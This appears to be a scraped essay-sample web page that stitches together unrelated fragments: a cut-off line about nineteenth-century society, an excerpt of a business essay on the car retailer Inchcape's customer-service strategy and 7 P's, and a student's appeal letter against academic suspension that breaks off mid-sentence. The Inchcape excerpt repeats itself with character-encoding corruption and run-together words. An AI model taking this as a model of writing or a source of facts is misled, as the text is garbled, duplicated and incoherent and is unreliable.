respect of life was portrayed through the beliefs of the nineteenth century society. However, there was still the minority which...

Business and Marketing Management Essay Example | Topics and Well Written Essays - 2000 words

Business and Marketing Management - Essay Example The company has a unique model with retailing and distribution operations. The company also has the "Inchcape Fleet Solutions" that is the UK's largest independent leasing company and it is managing a fleet in excess of 53000 cars. The company's vision is to be the most customer-centric automotive retailer group. According to them the cutting edge in the services industry is the quality of service provided to the customers. They believe that consistent provision of quality services increases loyal customers and also helps them achieve their financial and industrial targets. The company has 208 retail outlets and 85 distribution sites all around the world, each boasts of superiority and excellence in service. The company's strategy is simple and that is to focus on customer service and operational excellence to strengthen their business. They have four crucial elements to support their strategy. First are their people, since they believe that people and human resources are of prime importance to any businesses success. Second is performance management, since they have set the "best in class" gold standards to achieve excellence in performance. Third is their technology and service infrastructure, since they aim to improve the infrastructure to reduce cost and time in order to focus more on customer satisfaction. Lastly, is efficient allocation of capital in order to make good use of growth opportunities. They aim to work within the 7 P's namely; product, price, promotion, place, people, process (customer satisfaction) and physical evidence. Their strategic priorities are to strengthen their existing core business and expand in potential markets. Situation... The company’s strategy is simple and that is to focus on customer service and operational excellence to strengthen their business. They have four crucial elements to support their strategy. First are their people, since they believe that people and human resources are of prime importance to any businesses success. Second is performance management, since they have set the â€Å"best in class† gold standards to achieve excellence in performance. Third is their technology and service infrastructure, since they aim to improve the infrastructure to reduce cost and time in order to focus more on customer satisfaction. Lastly, is efficient allocation of capital in order to make good use of growth opportunities. They aim to work within the 7 P’s namely; product, price, promotion, place, people, process (customer satisfaction) and physical evidence. Their strategic priorities are to strengthen their existing core business and expand in potential markets. Situation Analysi sInchcape is very much capable of expanding their business in potential markets and also to strengthen their core business. Their main focus is operational excellence and their activities include retailing and distribution. Customer satisfaction is essential to them since they are aware of the fact that customers can easily switch to their competitors. In order to support their vision that is to become the most customer-centric automotive retailer group, the company has been consistent in investing in dealership premises.

Appeal letter suspension Essay Example | Topics and Well Written Essays - 250 words

Appeal letter suspension - Essay Example However, while I was placing significant amount of time in my English, my performance in other units went down the gutter. My advisor further advised me to drop the other units that were giving me challenges and pick PE and GEC classes, but then I would not have sufficient credits to fill the required 12 credits that I needed for the semester. This meant that my only way out of the problem was to deal with the tough courses. I attempted my best and got through with the semester. Further problems emanated from the fact that I lived far and travelling cost me a great time that I would have spent studying or visiting my family. Attempts to correct this problem were futile, at least in the timeline that I intended. Nevertheless, I made every effort possible to produce good results, and I managed to raise my GPA from 0.91 to 1.583. My current efforts are geared towards raising my GPA above 2.0, and I hope to get the opportunity to do so next Fall semester. Please understand that the performance that I have presented over the recent semester does not reflect my academic capabilities, but is coupled with other problems that I was going through. I am currently working hard to improve my situation and promise that I will record a GPA of more than 2.0 next Fall semester. Thank you for your consideration and for accepting my